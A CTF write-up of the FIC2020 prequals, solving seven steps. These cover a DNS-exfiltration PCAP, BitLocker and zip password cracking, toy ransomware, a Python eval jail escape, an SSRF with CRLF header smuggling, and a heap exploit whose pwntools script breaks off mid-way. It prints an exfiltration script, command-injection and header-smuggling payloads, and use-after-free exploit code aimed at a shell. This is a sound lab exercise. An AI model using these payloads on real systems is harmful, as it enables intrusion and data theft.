FIC2020 prequals CTF write-up

We took part to FIC2020's prequals CTF, organized by the French team Hexpresso with a team made of dzeta, laxa, swapgs and us3r777.

We managed to finish second, so here is our writeup!

Step 1

The first step was available at https://ctf.hexpresso.fr/2cd2362f7d4c063279c047618d4a2d38 and consists of a text input (named flag) and a submit button. Behind the scenes, the following code is executed when the button is clicked:

const play = () => {
  var game = new Array(
    116,
    228,
    203,
    270,
    334,
    382,
    354,
    417,
    485,
    548,
    586,
    673,
    658,
    761,
    801,
    797,
    788,
    850,
    879,
    894,
    959,
    1059,
    1071,
    1140,
    1207,
    1226,
    1258,
    1305,
    1376,
    1385,
    1431,
    1515
  );

  const u_u = "CTF.By.HexpressoCTF.By.Hexpresso";
  const flag = document.getElementById("flag").value;

  for (i = 0; i < u_u.length; i++) {
    if (u_u.charCodeAt(i) + flag.charCodeAt(i) + i * 42 != game[i]) {
      alert("NOPE");
      return;
    }
  }

  // Good j0b
  alert("WELL DONE!");

  document.location.replace(
    document.location.protocol +
      "//" +
      document.location.hostname +
      "/" +
      flag
  );
};

/**
 ** Thanks all <3
 ** @HexpressoCTF
 **
 ** The next step is here : https://ctf.hexpresso.fr/{p_p}
 **/

The check is easy to inverse (flag[i] = game[i] - u_u.charCodeAt(i) - (i * 42)) so we crafted this quick script in browser's devtools:

out = ''
for(i = 0; i < game.length; i++) {  
    out += String.fromCharCode(game[i] - u_u.charCodeAt(i) -  (i * 42)) 
}

It outputs 1f1bd383026a5db8145258efb869c48f, so the next step is at https://ctf.hexpresso.fr/1f1bd383026a5db8145258efb869c48f.

Step 2 — Old EXFIL but Gold

We were presented with a message about data exfiltration and a PCAP file (https://ctf.hexpresso.fr/cb52ae4d15503c598f0bb42b8af1ce51.pcap).

This capture contains two HTTP requests to http://172.16.42.222:8000, retrieving index.html and dnstunnel.py:

#! /usr/bin/python3
# I have no idea of what I'm doing

#Because why not!
import random
import os

f = open('data.txt','rb')
data = f.read()
f.close()

print("[+] Sending %d bytes of data" % len(data))

#This is propa codaz
print("[+] Cut in pieces ... ")

def encrypt(l):
    #High quality cryptographer!
    key = random.randint(13,254)
    output = hex(key)[2:].zfill(2)
    for i in range(len(l)):
        aes = ord(l[i]) ^ key
        #my computer teacher hates me
        output += hex(aes)[2:].zfill(2)
    return output

def udp_secure_tunneling(my_secure_data):
    #Gee, I'm so bad at coding
    #if 0:
    mycmd = "host -t A %s.local.tux 172.16.42.222" % my_secure_data
    os.system(mycmd)
    #We loose packet sometimes?
    os.system("sleep 1")
    #end if

def send_data(s):
    #because I love globals
    global n
    n = n+1
    length = random.randint(4,11)
    # If we send more bytes we can recover if we loose some packets?
    redundancy = random.randint(2,16)
    chunk = data[s:s+length+redundancy].decode("utf-8")
    chunk = "%04d%s"%(s,chunk)
    print("%04d packet --> %s.local.tux" % (n,chunk))
    blob = encrypt(chunk)
    udp_secure_tunneling(blob)
    return s + length

cursor = 0
n=0
while cursor<len(data):
    cursor = send_data(cursor)

#Is it ok?

As we can see in udp_secure_tunneling(), this script allows exfiltrating data over DNS by querying subdomains of .local.tux.

To solve the challenge during the competition, we bruteforced the key of each packet as we knew decoded packet's format (position prefix and printable characters after).

Then, when getting back on this challenge to redact this writeup, we sadly figured out that encrypt()'s "obfuscation" fooled us: the first byte of the encrypted packet is in fact the key! After extracting every DNS query of the PCAP with tshark and the filter dns.flags == 0x100, we wrote the following Python script (nothing fancy, we just handle the redundancy using the prefix of each decoded packet):

import re

hostnames = [
    'a191919191e2cecfc6d3c0d5d4cdc0d5c8cecfd2808081f8',
    'a696969797cfc9c8d5878786ffc9d386c2cfc286cfd286d5c986c0',
    '88b8b8bab8fda8ece1eca8e1fca8fbe7a8eee9faa98282c0edfaeda8e1fba8',
    '1929292a2976397f786b381313517c6b7c39706a396d',
    'cafafaf9f3afb8afeaa3b9eabea2afeaa6a3a4a1ea',
    'edddddd9d4cd81848386cd8483cd8f8c9e',
    '6b5b5b5e520a180e58594b0d0419',
    '4f7f7f797b6f29203d227545010d7d07067b0b1b070617',
    'ae9e9e999fe0ec9ce6e79aeafae6e7f6fd98f79dfbe3f7f6e9ff',
    '9cacacababd8c8d4d5c4cfaac5afc9d1c5c4dbcdc6d0c5',
    '6c5c5c545d343f5a355f392135342b3d362035',
    '6f5f5f575a5c3a223637283e352336',
    'e4d4d4ddd6bea8bdaba6bea3',
    'd7e7e7eee08d909ce3e48399e38f909ae3',
    '73434243403d472b343e47212334264027203c37373e3641373c',
    'daeaebebe88fe98e89959e9e979fe89e95809e989794898e9183',
    '4272737070060d1806000f0c1116091b18140f177105',
    '36060704017b7865627d6f6c607b6305717f7b6c60717f02623c7b797c',
    '9cacadafabafdbd5d1c6cadbd5a8c896d1d3d6cdd1',
    '54646560650e02131d60005e191b1e051919601019190e0013606605016969',
    '25151410176868116168687f716211177470181818',
    'f7c7c6c2cea3b0c3c5a6a2cacacafdfdd7a8d7d7d7d7',
    '7b4b4a4d482a2e46464671715b245b5b5b5b5b5b',
    '95a5a4a3ad9f9fb5cab5b5b5b5b5b5b5b5b5b5b5b5b5',
    'd8e8e9efe1f8f8f8f8f8f8f8f8',
    'd6e6e7eee5f6f6f6f6f6f6f6f6f6f6f6f6f6f6f6f6f6',
    '0f3f3e37362f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f',
    'eededfd7d8cecececececececececece',
    '56666466637676767676767676767676765c2a',
    '7d4d4f4c4e5d5d5d5d77015d0122225d5d5d22',
    '94a4a6a6a0b4b4cbcbcbcbcbb4b4cbcbcbb4cb',
    '7c4c4e4e442323235c5c2323235c23235c',
    'b585878680ea95eaea9595ea95eaea',
    'facac8cec9a5a5daa5a5a5dadaa5a5a5daa5a5a5dadaa5',
    '10202225234f304f4f4f30304f4f4f',
    'daeae8eceb8585fafad0a6',
    '75454743407f0955522a5529555a552a55295529',
    '6656545155494639463a463a494649464139463a1a464139',
    '4e7e7c767d6e69116e12326e691111616e',
    '5f6f6d6767237f780000707f007f03707f0000707f0000',
    'eddddfd4d5c2cdb2b2c2cdb2b291c2',
    'e7d7d4d7d4c7b8b89bc8c7b8c7bbc7ed9bc79bc79bc79bc7c7b8b8c8',
    '88b8bbb9b8a8d4a882f4a8f4a8f4a8f4a8a8d7d7a7b6a8a8b4f4a8f4',
    '83b3b0b1b3ffa3a3dcdcacbda3a3bfffa3ff',
    '48787b7a70687434683417616834683468346868',
    'cdfdfefefe92e4edb1edb1edb1eded9292e2919292ed9192',
    'eededddadcceb1b1c1b2b1b1ceb2b1b1ceb2cec6b1c7ce92e492b192ce',
    'b38380868093ef939bec9a93cfb9cfeccf93cfeccfef',
    'c2f2f1f4f0be9dbee2be9dbe9e9d9d9ded9ded9e9d9ee2ec9d',
    '28181b1f197777077707747774080677770754775408087477777754547777',
    '80b0b3b8b2dfaffcdffca0a0dcdfdfdffcfcdfdfdfaf',
    '3b0b0803026764646447476464641464',
    '93a3a0aaa4ccbcccccccbccfccccccbcb399b3b3b3b3b3b3',
    '41717571701e6e1d1e1e1e6e614b6161616161616161616161',
    '28181c18112208080808080808',
    'ddede9eceefdfdfdfdfdfdfdfdfdfdfdfdfda1',
    'd3e3e7e1e7f3f3af8caff3f3f3f3f3f3f3f3f3f3',
    '97a7a3a4a6b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7',
    'f2c2c6c1c7d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2',
    '340400000714141414141414141414141414143e3e3e',
    '9fafababa8bfbfbfbfbfbfbfbfbfbf959595',
    '6555515056454545456f6f6f',
    '84b4b0b1bd8e',
]

decoded = ''

for hostname in map(bytes.fromhex, hostnames):
    xor_key = ord(hostname[:1])
    res = ''.join([chr(c ^ xor_key) for c in hostname])[1:]
    pos, data = int(res[:4]), res[4:]
    decoded = decoded[:pos] + data + decoded[pos + len(data):]

print(decoded)
user@debian:~$ python3 dns.py 
Congratulations!! You did it so far!

Here is the link in base32 form:
NB2HI4DTHIXS6Y3UMYXGQZLYOBZGK43TN4XGM4RPGU3TSODDME2DOZDBMNSTKYZVMU3GIMZVGI4T
MOJQMM4DMMZTG42QU===

 _                                             
| |__   _____  ___ __  _ __ ___  ___ ___  ___  
| '_ \ / _ \ \/ / '_ \| '__/ _ \/ __/ __|/ _ \ 
| | | |  __/>  <| |_) | | |  __/\__ \__ \ (_) |
|_| |_|\___/_/\_\ .__/|_|  \___||___/___/\___/ 
                |_|                            

Decoding the Base32 string lead us to https://ctf.hexpresso.fr/5798ca47dace5c5e6d3529690c863375.

Step 3 — Do your Forensic ANALyst job

We are presented with a disk image file (https://ctf.hexpresso.fr/76b0c868ab7397cc6a0c0a1e107e3079.raw). Commands file and mmls gave us a first idea of what was inside:

user@debian:~$ file 76b0c868ab7397cc6a0c0a1e107e3079.raw 
76b0c868ab7397cc6a0c0a1e107e3079.raw: DOS/MBR boot sector MS-MBR Windows 7 english at offset 0x163 "Invalid partition table" at offset 0x17b "Error loading operating system" at offset 0x19a "Missing operating system", disk signature 0x47e6da9e; partition 1 : ID=0x7, start-CHS (0x0,2,3), end-CHS (0xc5,3,19), startsector 128, 198656 sectors

user@debian:~$ mmls 76b0c868ab7397cc6a0c0a1e107e3079.raw  
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors

      Slot      Start        End          Length       Description
000:  Meta      0000000000   0000000000   0000000001   Primary Table (#0)
001:  -------   0000000000   0000000127   0000000128   Unallocated
002:  000:000   0000000128   0000198783   0000198656   NTFS / exFAT (0x07)
003:  -------   0000198784   0000204799   0000006016   Unallocated

Trying to mount the NTFS partition gives an interesting error message:

root@debian:~# mkdir /mnt/foo ; mount 76b0c868ab7397cc6a0c0a1e107e3079.raw /mnt/foo -o offset=$((128*512))
mount: /mnt/foo: unknown filesystem type 'BitLocker'.

Mounting such filesystems is possible on Linux thanks to bdemount (shipped with libbde-utils) but we will still need to know what's the partition's password. The BitCracker project (https://github.com/e-ago/bitcracker) contains code to parse the header of Bitlocker partitions and extract a hash that can be used with john (jumbo patch is required).

user@debian:~$ wget https://raw.githubusercontent.com/e-ago/bitcracker/master/src_HashExtractor/bitcracker_hash.c

user@debian:~$ clang bitcracker_hash.c -o extrator

user@debian:~$ ./extrator -i ./76b0c868ab7397cc6a0c0a1e107e3079.raw 

---------> BitCracker Hash Extractor <---------
Encrypted device ./76b0c868ab7397cc6a0c0a1e107e3079.raw opened, size  100.00 MB

************ Signature #1 found at 0x10003 ************
Version: 8 
Invalid version, looking for a signature with valid version...

************ Signature #2 found at 0x2110000 ************
Version: 2 (Windows 7 or later)

=====> VMK entry found at 0x21100cd
Encrypted with User Password (0x21100ee)
VMK encrypted with AES-CCM
======== UP VMK ========
UP Salt: 6946a04b89585fea10b4817c9a3917c9
UP Nonce: c0297b4057a9d50103000000
UP MAC: 724b0b483ed7b6c3cef283d34830adb0
UP VMK: 06f1ae732a39b2eccf84959b53a1735fb9cb2f67e88282ccf5b1a04cc0a74d84778097b2db1cb689a70bfd79

=====> VMK entry found at 0x21101ad
Encrypted with Recovery Password (0x21101ce)
Searching for AES-CCM (0x21101ea)...
    Offset 0x211027d.... found! :)
======== RP VMK #0 ========
RP Salt: b95e642d93ec40c16a7a77b87bc3cadf
RP Nonce: c0297b4057a9d50106000000
RP MAC: 60f1218fafabac6be20ecf31565d4e15
RP VMK: f3e0ef3b5650e6d30535f7bd08eed2c6dc0992252927140339b470b794a6f2338b07369d1ec9e969d677b262

************ Signature #3 found at 0x3666000 ************
Version: 2 (Windows 7 or later)

=====> VMK entry found at 0x36660cd
Can't define a key protection method for values (0,20)... skipping!

=====> VMK entry found at 0x36661ad
Encrypted with Recovery Password (0x36661ce)
Searching for AES-CCM (0x36661ea)...
    Offset 0x366627d.... found! :)

This VMK has been already stored...quitting to avoid infinite loop!

User Password hash:
$bitlocker$0$16$6946a04b89585fea10b4817c9a3917c9$1048576$12$c0297b4057a9d50103000000$60$724b0b483ed7b6c3cef283d34830adb006f1ae732a39b2eccf84959b53a1735fb9cb2f67e88282ccf5b1a04cc0a74d84778097b2db1cb689a70bfd79

Recovery Key hash #0:
$bitlocker$2$16$b95e642d93ec40c16a7a77b87bc3cadf$1048576$12$c0297b4057a9d50106000000$60$60f1218fafabac6be20ecf31565d4e15f3e0ef3b5650e6d30535f7bd08eed2c6dc0992252927140339b470b794a6f2338b07369d1ec9e969d677b262

Output file for user password attack: "hash_user_pass.txt"

Output file for recovery password attack: "hash_recv_pass.txt"

Cracking volume's user password is instant:

user@debian:~$ john hash_user_pass.txt
Using default input encoding: UTF-8
Loaded 1 password hash (BitLocker, BitLocker [SHA-256 AES 32/64])
Cost 1 (iteration count) is 1048576 for all loaded hashes
Warning: OpenMP is disabled; a non-OpenMP build may be faster

Note: This format may emit false positives, so it will keep trying even after finding a possible candidate.
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:./password.lst, rules:Wordlist
password         (?)
1g 0:00:00:01 0.05% 2/3 (ETA: 17:38:39) 0.8196g/s 2.459p/s 2.459c/s 2.459C/s password1

The volume can then be mounted but the only file available does not contain the flag:

root@debian:~# bdemount -o $((128*512)) -p password 76b0c868ab7397cc6a0c0a1e107e3079.raw /mnt/foo/ 
bdemount 20190102

root@debian:/mnt/foo# file bde1 
bde1: DOS/MBR boot sector, code offset 0x52+2, OEM-ID "NTFS    ", sectors/cluster 8, Media descriptor 0xf8, sectors/track 63, heads 16, hidden sectors 128, dos < 4.0 BootSector (0x80), FAT (1Y bit by descriptor); NTFS, sectors/track 63, sectors 198655, $MFT start cluster 8277, $MFTMirror start cluster 2, bytes/RecordSegment 2^(-1*246), clusters/index block 1, serial number 08618333c18332a97; containsMicrosoft Windows XP/VISTA bootloader BOOTMGR

root@debian:/mnt/foo# mkdir /mnt/ntfs ; mount -o ro bde1 /mnt/ntfs

root@debian:/mnt/ntfs# ls -alh
total 13K
drwxrwxrwx 1 root root 4.0K Dec  2 23:36  .
drwxr-xr-x 4 root root 4.0K Dec 16 17:13  ..
-rwxrwxrwx 1 root root   98 Dec  2 22:38  flag.txt
drwxrwxrwx 1 root root 4.0K Dec  2 22:27 'System Volume Information'

root@debian:/mnt/ntfs# cat flag.txt 
Every Forensic investigation starts with a good bitlocker inspection.
-- @chaignc

While we simply used binwalk to find the flag during the CTF, a more elegant solution is to use sleuthkit to look for deleted files:

root@debian:~# fls -d /mnt/foo/bde1
-/r * 64-128-2: ls
-/r * 65-128-2: fic.zip
-/r * 66-128-2: f1.zip
-/r * 67-128-2: f2.zip
-/r * 68-128-2: f3.zip
-/r * 69-128-2: f4.zip

Various archives have been deleted, let's retrieve them!

root@debian:~# for i in `seq 64 69`; do /usr/bin/icat bde1 $i > $i.bin; done

root@debian:~# file *.bin
64.bin: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=182e3c4f92cd556e8799d66e929dce3306a16530, for GNU/Linux 3.2.0, stripped
65.bin: Zip archive data, at least v2.0 to extract
66.bin: Zip archive data, at least v2.0 to extract
67.bin: Zip archive data, at least v2.0 to extract
68.bin: Zip archive data, at least v2.0 to extract
69.bin: Zip archive data, at least v2.0 to extract

root@debian:~# sha256sum *.bin
1f7f27ef1052e33731c9ff56a36ac3af4437e3f95ad55f6813c320b087b5d356  64.bin
c79a416ccc1a41bc993c91de1c332f3c188ed3c716eca4bdf0de88a79526715f  65.bin
c79a416ccc1a41bc993c91de1c332f3c188ed3c716eca4bdf0de88a79526715f  66.bin
c79a416ccc1a41bc993c91de1c332f3c188ed3c716eca4bdf0de88a79526715f  67.bin
c79a416ccc1a41bc993c91de1c332f3c188ed3c716eca4bdf0de88a79526715f  68.bin
c79a416ccc1a41bc993c91de1c332f3c188ed3c716eca4bdf0de88a79526715f  69.bin

All archives have the same hash! Let's have a look inside:

root@debian:~# 7z l 65.bin
[...]
   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2019-12-02 23:02:55 .....           68           66  fic.txt
------------------- ----- ------------ ------------  ------------------------
2019-12-02 23:02:55                 68           66  1 files

root@debian:~# 7z x 65.bin
[...]

root@debian:~# cat fic.txt 
https://gist.github.com/bosal43833/3e815abc3f92e45963a8aafc8acfe411

The file fic.txt contains https://gist.github.com/bosal43833/3e815abc3f92e45963a8aafc8acfe411, giving us a Base64 (aHR0cHM6Ly9jdGYuaGV4cHJlc3NvLmZyLzFlYTk2N2Y1MmQxYWFiMzI3ZDA4NGVmZDI0ZDA0OTU3Cg==), leading us to https://ctf.hexpresso.fr/1ea967f52d1aab327d084efd24d04957.

Step 4 — Wannacry is f*cking back

The ZIP file at https://ctf.hexpresso.fr/5c09555ef0576e6cee46a9ee7a841c8b.zip contains an ELF (wanafic) and a file named flag.txt.crypted:

user@debian:~$ file wannafic 
wannafic: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=97354f92f87502594330507adef22eca2765dd76, for GNU/Linux 3.2.0, stripped

The binary is quite small, only three functions are interesting. main only prints a message and iterates over argv, calling process_file at each iteration:

__int64 main(signed int argc, char **argv, char **envp)
{
  signed int i;

  if ( argc <= 1 )
    print_and_exit("Usage: ./wannafic <file> ...\n");
  puts(s);
  for ( i = 1; i < argc; ++i )
    process_file(argv[i]);
  return 0LL;
}

The function process_file() calls encrypt_file() with input file's fd, input file's name and time(0) as arguments:

int process_file(const char *filename)
{
  time_t seed;
  FILE *stream;

  printf("[*] Encrypting %s\n", filename);
  stream = fopen(filename, "r");
  if ( !stream )
    print_and_exit("[!] Unable to open file.\n");
  seed = time(0LL);
  encrypt_file(stream, filename, seed);
  return fclose(stream);
}

Finally, encrypt_file() will use input file's name and rand() output to encrypt file's contents (notice the nice for statement crafted by Hex-Rays!):

unsigned __int64 encrypt_file(FILE *input_fd, const char *input_filename, __int64 arg_seed)
{
  char rand_out; 
  char current_char;
  int i;   
  FILE *stream;
  char s[264]; 
  unsigned __int64 stack_cookie;

  stack_cookie = __readfsqword(0x28u);
  // [...]
  srand(arg_seed);
  printf("[*] ts : %d\n", arg_seed);
  snprintf(s, 0x100uLL, "%s.crypt", input_filename);
  printf("[*] Writing to %s\n", s);
  stream = fopen(s, "w");
  if ( !stream )
    print_and_exit("[!] Unable to open file.\n");
  for ( i = strlen(input_filename); ; fputc((char)(rand_out ^ current_char ^ input_filename[rand_out % i]), stream) )
  {
    current_char = fgetc(input_fd);
    if ( current_char == EOF )
      break;
    rand_out = rand();
  }
  fclose(stream);
  printf("[*] Done !\n\n", s);
  return __readfsqword(0x28u) ^ stack_cookie;
}

It is well-known that, if the srand() seed is known, rand() outputs are predictable. We know when flag.txt.crypt was created:

user@debian:~$ stat flag.txt.crypt |grep Modify
Modify: 2019-12-12 13:37:42.000000000 +0100

As the algorithm is symetric and to avoid reimplementing the algorithm and making mistakes, we can just use the binary on the encrypted file after renaming it flag.txt and setting system's time to 2019-12-12 13:37:42. We also had to nop the condition if ( current_char == EOF ) as it would stop the decryption too early.

A quick GDB session allowed to handle all these issues at once:

(gdb) b srand
(gdb) r flag.txt
Starting program: /home/user/wannafic flag.txt

 ▄█     █▄     ▄████████ ███▄▄▄▄   ███▄▄▄▄      ▄████████
███     ███   ███    ███ ███▀▀▀██▄ ███▀▀▀██▄   ███    ███
███     ███   ███    ███ ███   ███ ███   ███   ███    ███
███     ███   ███    ███ ███   ███ ███   ███   ███    ███
███     ███ ▀███████████ ███   ███ ███   ███ ▀███████████
███     ███   ███    ███ ███   ███ ███   ███   ███    ███
███ ▄█▄ ███   ███    ███ ███   ███ ███   ███   ███    ███
 ▀███▀███▀    ███    █▀   ▀█   █▀   ▀█   █▀    ███    █▀
                        FIC2020
                  ▄████████  ▄█   ▄████████ 
                 ███    ███ ███  ███    ███ 
                 ███    █▀  ███▌ ███    █▀  
                ▄███▄▄▄     ███▌ ███        
               ▀▀███▀▀▀     ███▌ ███        
                 ███        ███  ███    █▄  
                 ███        ███  ███    ███ 
                 ███        █▀   ████████▀  

[*] Encrypting flag.txt

Breakpoint 3, __srandom (x=1576536066) at random.c:210
210 random.c: No such file or directory.
(gdb) set x=1576154262
(gdb) x/10i 0x5555555554a9-6
   0x5555555554a3:  mov    BYTE PTR [rbp-0x11e],al
   0x5555555554a9:  cmp    BYTE PTR [rbp-0x11e],0xff
   0x5555555554b0:  jne    0x555555555444
   0x5555555554b2:  mov    rax,QWORD PTR [rbp-0x118]
   0x5555555554b9:  mov    rdi,rax
   0x5555555554bc:  call   0x555555555040 <fclose@plt>
   0x5555555554c1:  lea    rax,[rbp-0x110]
   0x5555555554c8:  mov    rsi,rax
   0x5555555554cb:  lea    rdi,[rip+0xb7b]        # 0x55555555604d
   0x5555555554d2:  mov    eax,0x0
(gdb) set *(int*)0x5555555554a9 = 0x90909090
(gdb) set *(short int*)0x5555555554ad = 0x9090
(gdb) x/10i 0x5555555554a9-6
   0x5555555554a3:  mov    BYTE PTR [rbp-0x11e],al
   0x5555555554a9:  nop
   0x5555555554aa:  nop
   0x5555555554ab:  nop
   0x5555555554ac:  nop
   0x5555555554ad:  nop
   0x5555555554ae:  nop
   0x5555555554af:  nop
   0x5555555554b0:  jne    0x555555555444
   0x5555555554b2:  mov    rax,QWORD PTR [rbp-0x118]
(gdb) c 

Then, quickly stop the execution and read the file (ASCII art removed for clarity):

(gdb) !head -n15 flag.txt.crypt
[...]


Well done buddy !!!!
Next step : https://ctf.hexpresso.fr/6bd1d24ab3aa08784f868a533bcdc215

Step 5 — PYJAIL 4 FUN

A ZIP file (https://ctf.hexpresso.fr/for_the_players.zip) contains SSL certificates and the socat command to run to reach the service listening at ctf.hexpresso.fr:2323. Writing something on the prompt will always show the message Bad flag! but if the input contains a single quote, an exception is raised:

>'
Traceback (most recent call last):
  File "./main.py", line 28, in <module>
    main()
  File "./main.py", line 21, in main
    if flag == get_input():
  File "./main.py", line 15, in get_input
    return eval(f"""'{input(">")}'""")
  File "<string>", line 1
    '''
      ^
SyntaxError: EOF while scanning triple-quoted string literal

As our input is executed, it is easy to retrieve the script:

>',__import__('os').system('cat *.py'),'
#!/usr/bin/env python
import os

SUCCESS = "Good flag !"
FAIL = "Bad flag !"


def get_flag():
    flag = os.environ.get("FLAG", "FLAG{LOCAL_FLAG}")
    os.environ.update({"FLAG": ""})
    return flag


def get_input():
    return eval(f"""'{input(">")}'""")


def main():
    flag = get_flag()

    if flag == get_input():
        print(SUCCESS)
    else:
        print(FAIL)


if __name__ == "__main__":
    main()
Bad flag !

Reading the flag from the environment isn't possible, as get_flag() removed it. The first idea was to poll the enviroment of every Python process through procfs before get_flag() is called but it would require to spawn many processes to win the race.

As flag is still defined in main()'s scope, reading locals of upper frames using inspect was a better solution:

>',print(__import__('inspect').getouterframes(__import__('inspect').currentframe())[2].frame.f_locals),'
{'flag': 'Next step : http://c4ffddcc437c5df3e6d681e7cafab510.hexpresso.fr'}

Step 6 — Welcome to the host fetcher !

The application allows requesting arbitrary hosts and displays the result in a frame. Its source also contains an interesting comment:

<div class="col s12">
    <!-- <span>PS: To get your flag go here: <a href="/secret">/secret</a></span> -->
</div>

Obviously, directly accessing this page returns the following message:

{"ok":false,"message":"You have to come from 127.0.0.1 not 172.20.0.1 :)","flag":""}

This has to be a SSRF challenge! Requesting 127.0.0.1 is disallowed but not 127.0.0.2. The application also appends the port to the host we provide, so we used 127.0.0.2/secret? and got the following response:

{"ok":false,"message":"Missing GOSESSION ... You are not connected... get away !","flag":""} 

It will be necessary to smuggle a Cookie header. After performing a request to a server under our control, we can see that the user-agent is Go-http-client/1.1. A quick Google search led us to https://github.com/golang/go/issues/30794, which describes the exact issue we were looking for: if query parameters are present, spaces and new-lines will not be encoded before sending the request. Thus, querying 127.0.0.2/secret?xx=xx%20HTTP/1.1%0ACookie:GOSESSION= gave us the flag:

{"ok":true,"message":"Ok here is your flag ...","flag":"Gg ! Send mail here 9ca37832b9fb80-penultimate-stage@hexpresso.fr ! But there is one last step here for the brave available on : https://ctf.hexpresso.fr/219058289d8699adc0b119374c2fc5bc"}

Step 7 — PWN me I'm famous

The final step greets us with a zip file 8e23eca76cbfdb90988a5b92577c147c.zip which requires a password to be unzipped. This first step is pretty straightforward using the good old john the ripper and rockyou:

$ /usr/share/john/run/zip2john 8e23eca76cbfdb90988a5b92577c147c.zip > hash.txt
$ john --wordlist=rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
powell82435      (8e23eca76cbfdb90988a5b92577c147c.zip)

The real fun starts now, the zip contains a binary heapme, a libc, a doc.txt containing a socat command to connect to the remote server using the provided client.pem and server.crt. As usual when doing pwnable, we start by checking the protections:

$ checksec --file heapme
[*] '/home/user/Documents/heapme'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
$ file heapme
heapme: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=610c072eb32a1a993d127206eddb08f6786d5281, not stripped

Good news, the binary is not stripped. But, using our favorite decompiler, we discover that the binary was compiled from C++. Hopefully, the reverse part is trivial, mostly because of the symbols. The binary is like most heap challenges and there is nothing specific to C++. Different operations can be performed:

  • Creating a disk at a user controlled index of a user controlled size.
  • Reading data from a disk.
  • Writing data to a disk.
  • Deleting a disk.

Two vulnerabilities are easily spotted:

  • Writing to a disk does not check the size of the disk and we can freely overflow the whole heap if necessary.
  • Deleting a disk does not nullify its pointer inside the DiskManager. This list of pointers is stored in the stack of the program. Therefore, we can perform UAF and double free attacks.

Creating a disk will create two objects in the heap, first a Disk of size 0x10 containing a pointer to a virtual table and a pointer to its data, then the data pointer is allocated.

typedef struct Disk {
    void *vtable;
    char *data;
} Disk;

typedef struct vtable
{
    void (*read)(Disk this);
    void (*write)(Disk this);
} vtable;

The vtable has only 2 functions, the read and the write used by the respective operations offered by the program.

As we have a full overflow of the heap, we can overwrite the vtable pointer to any location we want. However, since the binary is PIE, we are blind. So, we start by leaking the libc: this can be achieved by allocating two non-fastbin chunks, freeing them, allocating again and a pointer to the libc main arena would then be present in the data part of the disk.

From there, we could find a reference to a useful function like system to use as a vtable, but no such reference could be found. Therefore, we decided to do a malloc exploit to write a fake vtable at a known location. We performed a modified version of malloc_dup_into_stack to get an allocation inside the BSS of libc. First part was to find a fastchunk size in the BSS that could be used for the exploit. The size 0x40 was present at multiple locations. Funny thing is, malloc does not check the memory alignment if a free fast chunk is not properly aligned. So the plan was to:

  • Allocate two fastchunks of size 0x30 (they are considered as 0x40 chunks after adding the malloc meta-data).
  • Free those allocated chunks so we have two chunks in the fastbin freelist (which is a single-list).
  • Overflow the heap to corrupt the pointer to the second element of that list.
  • Finally perform two allocations, the second one would return a pointer inside our known location.

From there, we can write a vtable containing the following magic gadget found using one_gadget:

# 0xf1147 execve("/bin/sh", rsp+0x70, environ)
# constraints:
#   [rsp+0x70] == NULL

When using the gadget with the read pointer of the vtable, [rsp+0x70] points toward the index 1 of the DiskFactory pointer table. To fulfil this condition, we just avoid using this index.

After solving the challenge and discussing with its creator, using a malloc exploit was not the most straightforward solution. Indeed, by doing some heap feng-shui, it was possible to leak a pointer to the heap by getting an allocation on a previously freed fastchunk that would have contained a pointer to the heap itself.

Here is the full exploitation script:

#!/usr/bin/env python2

from pwn import *

###

if len(sys.argv) > 1:
    DEBUG = False
    libc = ELF('libc-2.23.so')
else:
    DEBUG = True
    libc = ELF('libc-2.23.so')

b = ELF('heapme')
context.log_level = 'info'
context.arch = 'amd64'

###

if DEBUG:
    r = process('./heapme', aslr=True, env={'LD_PRELOAD':'libc-2.23.so'})
else:
    r = process('socat stdio openssl-connect:ctf.hexpresso.fr:4242,cert=client.pem,cafile=server.crt,verify=0'.split())

GDB = False
if DEBUG and GDB:
    bps = []
    base = 0x0000555555554000
    params = ''
    for bp in bps:
        params += 'b *{}\n'.format(hex(bp + base))
    gdb.attach(r, params)

def menu():
    global r
    return r.recvuntil('4: Exit\n')

def create_disk(size, index):
    global r
    r.sendline('0')
    r.sendlineafter('[+] Create Disk\n', str(size))
    r.sendline(str(index))
    return menu()

def write_disk(index, data):
    global r
    r.sendline('2')
    r.sendlineafter('write Disk\n', str(index))
    r.sendline(data)
    return menu()

def read_disk(index):
    global r
    r.sendline('1')
    r.sendlineafter('read Disk\n', str(index))
    r.recvuntil('Data: ')
    data = menu()
    return data.split('\n')[0]

def delete_disk(index):
    global r
    r.sendline('3')
    r.sendlineafter('delete Disk\n', str(index))
    return menu()

menu()
create_disk(256, 0)
create_disk(256, 15)
delete_disk(0)
create_disk(256, 0)

data = read_disk(0)
leak = u64(data.ljust(8, '\x00'))

libc_base = leak - 0x3c4b78
log.info('leak: %#x' % leak)
log.info('libcbase: %#x' % libc_base)

# modified fastbin_dup_into_stack
# Goal is to get an alloc into libc BSS
create_disk(48, 2)
create_disk(48, 3)
delete_disk(2)
delete_disk(3)

# this offset points to a p64(0x40) value inside libc.bss where we are going
# to allocate a fastbin of size 0x30
offset = 0x98f

# We perform a modified version of fastbin_dup_into_stack
# we have two 0x30 chunks in the free_list, we overflow the one pointing to the first one
# and replace the pointer to point to leak - offset - 0x8 which is will be considered
# valid by malloc. We then do 2 allocations, the second one will point inside libc.bss
# We can therefore craft a vtable there and overflow the heap as we please using our vtable
p = 'A' * 256 + p64(0) + p64(0x21) + p64(0) * 2 + p64(0) + p64(0x41) + 'B' * 48
